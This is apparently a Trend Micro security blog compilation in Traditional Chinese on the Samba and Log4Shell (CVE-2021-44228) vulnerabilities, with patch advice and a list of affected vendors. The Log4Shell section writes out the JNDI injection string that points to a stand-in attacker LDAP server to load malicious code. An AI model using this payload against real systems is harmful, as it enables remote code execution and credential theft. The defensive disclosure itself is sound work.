【2022 年2月 7 日，台北訊】全球雲端資安解決方案領導廠商趨勢科技 (東京證券交易所股票代碼：4704) 再度展現其致力提升數位世界安全的承諾，年節期間公開說明其旗下 Zero Day Initiative (ZDI)註一漏洞懸賞計畫在發現並揭露 Samba 檔案分享協定重大漏洞的過程中扮演重要角色，呼籲企業修補相關漏洞為開工日首要任務。
更多有關 Samba 漏洞及如何降低其衝擊的資訊，請參閱我們的部落格文章及技術文件。
趨勢科技威脅情報副總裁 Jon Clay 表示：「前不久才發生 Log4j 漏洞，現在又出現一個新的漏洞，突顯出全球資安團隊在防範各式各樣應用程式與開放原始碼軟體資安風險方面充滿挑戰。而趨勢科技在舉辦 Pwn2Own 駭客大賽期間發現了這個新的漏洞，藉此機會和開發人員合作來負責修正並揭露這個漏洞。所幸至目前為止，我們尚未聽到任何實際的攻擊案例。」
繼續閱讀「Log4Shell」是最近在一個名為「Log4j」的 Java 工具中被發現的漏洞，此漏洞被很多人視為有史以來最嚴重的漏洞。據說就在這個漏洞被揭露的 12 小時內，網路犯罪集團就已經完全開發出對應此漏洞的攻擊武器。這個十年來最嚴重的漏洞，而且人人都有危險，Google、Apple、Amazon、 Netflix等等也都無法倖免 。
我們製作了一個免費掃描工具來協助您檢查您的裝置是否有遭到 Log4Shell 攻擊的危險。
就在 2021 年接近尾聲之際，突然出現了一個名為 Log4Shell (CVE-2021-44228) 的漏洞，這是Apache Log4j 這個使用廣泛的 Java 記錄檔函式庫套件當中的一個重大漏洞。駭客只需利用一個精心設計的記錄檔訊息就能經由 Log4Shell 漏洞在遠端電腦上執行程式碼。由於這項漏洞的潛在衝擊龐大，因此它在 CVSS 2.0 與 CSVV 3.x 漏洞評分系統的危險等級分別 10.0 與 9.3 也就不難理解。
由於 Log4j 套件的使用情況非常普遍，所以此漏洞的潛在影響非常深遠。任何意圖不良的駭客一旦掌控了使用 Log4J 記錄檔的系統及相關處理程序，就能從遠端執行程式碼來發動攻擊。
儘管駭客目前的目光都放在伺服器上，但未來難保不會出現第二波針對端點裝置的攻擊。
趨勢科技 Trend Micro Log4Shell 漏洞評估工具
我們提供一個快速簡便、免費的的自助式安全評估工具，您可以運用Trend Micro Vision One 威脅防禦平台，識別可能受 Log4Shell 影響的端點和伺服器應用程式。這項評估可立即提供攻擊面向的詳細資訊，並提供後續處理步驟以降低資安風險。 詳情請看
推薦閱讀:
Log4j 事件會延燒數個月,甚至數年?這漏洞為何如此危險？
企業該如何處理 Log4j 漏洞問題?
Apache Log4j 爆十年來最嚴重的漏洞，而且人人都有危險，Google、Apple、Amazon、 Netflix 等等也都無法倖免
請立即修補：一個名為「Log4Shell 」的 Apache Log4j 漏洞正遭受猛烈攻擊
Log4Shell漏洞已被開採散布勒索軟體
「Log4Shell」是最近在一個名為「Log4j」的 Java 工具中被發現的漏洞，此漏洞被很多人視為有史以來最嚴重的漏洞。打個比方，網際網路現在已經火燒遍野了。不僅如此，據說就在這個漏洞被揭露的 12 小時內，網路犯罪集團就已經完全開發出對應此漏洞的攻擊武器。
Log4Shell 漏洞能讓駭客和間諜輕易進入企業機構的內部網路來竊取資料、植入惡意程式和刪除資訊。由於幾乎所有企業都在使用 Java，所以人人都有危險。
Cloudflare 的 Joe Sullivan 表示：「我很難想像有哪家企業會沒有危險」。事實上，數以百萬計的伺服器都安裝了這套軟體，那些「已經被證實」陷入危險的包括：Google、Amazon、Netflix、Android、Apple、IBM、Tesla、Badu、Twitter、Steam、Alibaba 以及 Minecraft (此漏洞首次被發現的地方)。
趨勢科技開發了一個網頁式工具「 趨勢科技 Trend Micro Log4Shell 漏洞評估工具 」來協助使用者偵測其伺服器應用程式是否含有此漏洞。
這個快速簡便、免費的的自助式安全評估工具，您可以運用Trend Micro Vision One 威脅防禦平台，識別可能受 Log4Shell 影響的端點和伺服器應用程式。這項評估可立即提供攻擊面向的詳細資訊，並提供後續處理步驟以降低資安風險。完整的趨勢科技解決方案清單， 詳情請看 。
被形容為十年來最嚴重的核彈級漏洞的Log4Shell 漏洞 (CVE-2021-44228) 正席捲全球,該漏洞最早是在 11 月 24 日經由私下管道通報給 Apache，並在 12 月 9 日發布的 Log4j 2.15.0 版當中已經修補。受此漏洞影響的軟體包括：Apache Struts、Apache Solr、Apache Druid、Elasticsearch、Apache Dubbo 及 VMware vCenter。
Apache Log4j 這個為 Java 程式提供記錄檔功能的熱門程式套件被發現了一個漏洞，此漏洞已收錄到 CVE 資料庫 ( CVE-2021-44228 ) 並命名為「 Log4Shell」，駭客可藉由發送一種特別的記錄檔訊息來觸發這個漏洞。此漏洞最早是在 11 月 24 日經由私下管道通報給 Apache，並在 12 月 9 日發布的 Log4j 2.15.0 版當中已經修補。受此漏洞影響的軟體包括：Apache Struts、Apache Solr、Apache Druid、Elasticsearch、Apache Dubbo 及 VMware vCenter。趨勢科技開發了一個網頁式工具「 Log4j vulnerability tester」來協助使用者偵測其伺服器應用程式是否含有此漏洞。完整的趨勢科技解決方案清單，請參閱 我們的解決方案網頁。
Log4j 除了為 Java 提供記錄檔功能之外，還提供查詢的功能，可藉由一個條件表達式 ${some_expression} 來查尋某些字串並執行取代動作。Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper。JNDI查詢支援的通訊協定包括 LDAP、RMI、DNS 和 IIOP。所以，駭客可在記錄檔中加入一筆 JNDI 查詢表達式，詳細說明如下。
舉例來說，駭客可利用此功能來發送 HTTP 請求到某個網站伺服器 (這是我們目前看到最多的攻擊方式)，這樣就會促使查詢 ( lookup) 功能去駭客掌控的 LDAP 伺服器下載並執行某個惡意的 Java 類別。最簡單的作法，駭客只需在記錄檔內加入以下這道表達式：
${jndi:ldap://{malicious website}/a}
這樣就可以執行位於 http://{malicious website}/{malicious.class} 的惡意 Java 程式碼。
目前，我們發現駭客會在含有前述漏洞的伺服器上植入 Mirai 殭屍網路變種和 Kinsing 挖礦程式。有些駭客使用的網址相當簡單，但也有些駭客會使用加密編碼的表達式來隱藏網路流量，範例請參閱本文末端。
以下是駭客攻擊 Log4Shell 漏洞時可能採取的流程：
圖 1：Log4Shell 漏洞可能的攻擊流程。
突破防線
此漏洞來自於 log4j 2.x 的查詢 (lookup) 功能，當應用程式在呼叫此功能時，log4j 2.x 就會呼叫 format 功能來檢查記錄檔中是否含有特定字元「 ${」。如果有，就會呼叫查詢功能來尋找「${」之後的字串，並將找到的字串替換成之前找到的數值。有些查詢的方式非常特別，例如查詢 Java 命名空間與目錄服務介面 (Java Naming Directory Interface，簡稱 JNDI)，它可用來讀取 JNDI 傳回的數值。
JNDI 查詢可支援多種通訊協定，如 LDAP 和 RMI。當記錄檔內含有 ${jndi:logging/context-name}，查詢功能就會試圖尋找「jndi:logging/context-name」這串字。
如此一來，駭客就能先在他們所掌控的一個 LDAP 伺服器上植入一個惡意的 Java 類別，讓查詢功能來執行遠端 LDAP 伺服器上的惡意程式碼。
圖 2：${jndi:ldap://attacker-controlled-server}。
執行攻擊
一旦漏洞攻擊成功，視查詢網址 (URL) 的內容而定，伺服器接下來就會解讀字串的內容。包括執行某個 Java 類別、JavaScript 腳本和 Unix 指令列腳本等等。
橫向移動
此外，也可能下載 Cobeacon 元件來進行橫向移動。除了橫向移動之外，也可能讓系統感染勒索病毒，因為 Cobeacon 元件曾經出現在多起勒索病毒攻擊當中。
竊取登入憑證
此漏洞還可能讓駭客下載專門竊取登入憑證的惡意程式，例如：Kirabash。
圖 3：Kirabash 會將「/etc/passwd」和「/etc/shadow」兩個檔案外傳來竊取登入憑證。
衝擊
目前我們看到歹徒所下載的惡意程式是 Mirai 殭屍網路和 Kinsing 挖礦程式，可能造成的影響包括：
雖然網路上目前流行的攻擊大多經由 HTTP 通訊協定，但此漏洞也可經由所有 Log4j 支援的通訊協定來發動。因此我們建議所有使用者都更新至 Log4j 2.15.0 版。此外，在漏洞修補之前，使用者還可透過以下步驟來防範此漏洞：
另一個建議的作法是限制出口流量只能經由必要的連接埠至連上網際網路。
很重要的一點是，前述建議步驟除了直接用到 Log4j 的情況需要修正之外，一些間接使用到 Log4j 的應用程式也需要修正，如下方的清單顯示，許多軟體廠商的產品都含有此漏洞。
請監控應用程式記錄檔來看看是否出現以下字串開頭的內容或含有加密編碼字串的類似內容：
有些使用了 Log4j 的程式套件也受到這個漏洞影響，詳細情形請參閱下表。
| 產品/應用程式/擴充功能 | 說明 | 詳細資訊 |
| RedHat | 並非所有 RedHat 程式套件都含有此漏洞，但 Openshift 和 JBoss 有某些套件受到影響。 | https://access.redhat.com/security/cve/cve-2021-44228 |
| Jenkins | 雖然 Jenkins Core 本身不受影響，但 Jenkins 所安裝的擴充功能有可能用到含有漏洞的 Log4j 版本。此外，也有一個方法可以用來確認已安裝的擴充功能是否用到 Log4j。第二個連結提供了一份清單，裡面列出截至本文撰稿為止已知含有此漏洞的擴充元件版本。 | https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-416946 |
| Apache Solr | Apache Solr 7.4 之前的版本都受到影響。 | https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228 |
| VMWare | 有多項產品受到影響。 | https://www.vmware.com/security/advisories/VMSA-2021-0028.html |
| Citrix | 仍有待調查。 | https://support.citrix.com/article/CTX335705 |
| Atlassian | 若 Atlassian 預設的組態設定曾經修改過，就有可能受到影響。 | https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html |
| NetApp | NetApp 有多項產品受到影響。 | https://security.netapp.com/advisory/ntap-20211210-0007/ |
請套用廠商釋出的修補更新來防範 Log4Shell 漏洞可能帶來的攻擊。此外，趨勢科技也釋出了補強一些規則、過濾條件和偵測功能來提供額外的防護並偵測這類攻擊相關的惡意元件。
我們也製作了一個網頁式快速掃描工具來檢查伺服器應用程式是否受到 Log4Shell 漏洞影響。請至：https://log4j-tester.trendmicro.com/。如需完整的趨勢科技解決方案清單，請參閱 我們的解決方案網頁。請觀賞影片來了解 Trend Micro™ Vision One 與 Cloud One 如何協助您發掘、偵測和防範 Log4Shell 漏洞。
完整的入侵指標清單請參考這份文字檔。在此特別感謝 Talos Intelligence 以及其他研究人員協助提供某些入侵指標。
原文出處：Patch Now:Apache Log4j Vulnerability Called Log4Shell Actively Exploited 作者：Ranga Duraisamy、Ashish Verma 和 Miguel Carlo Ang
延伸閱讀:Log4Shell：十年來最嚴重的漏洞，而且人人都有危險，Google、Apple、Amazon、 Netflix等等也都無法倖免
當駭客將遠端工作相關漏洞當作目標，趨勢科技的新一代入侵防護（NGIPS）能夠保護企業來抵禦威脅
當新冠肺炎(COVID-19)讓人們轉移到雲端，網路攻擊者現在也將目標對準天空。
美國國土安全部網路安全暨基礎安全局（CISA）在2021年7月28日發表了一份報告，詳細介紹了2020年和2021年常被利用的漏洞。報告指出，攻擊者最喜歡的新目標是在2019年後公布的遠端工作、VPN（虛擬私人網路）和雲端技術相關漏洞。
隨著遠端工作的普及，網路攻擊者也在利用新的遠端工作相關未修補漏洞，而網路防禦者則必須努力地追上修補工作。一旦進行漏洞攻擊，駭客可以利用遠端程式碼執行（RCE）、任意程式碼執行（arbitrary code execution）、路徑遍歷（path traversal）或其他技術來控制目標電腦。
CISA名單上的12個已確認漏洞（表一）顯示出攻擊者經常針對新發現的遠端工作相關漏洞。前三名與遠端工作、VPN和雲端環境有關。其中有9個漏洞是在2019年或之後公布。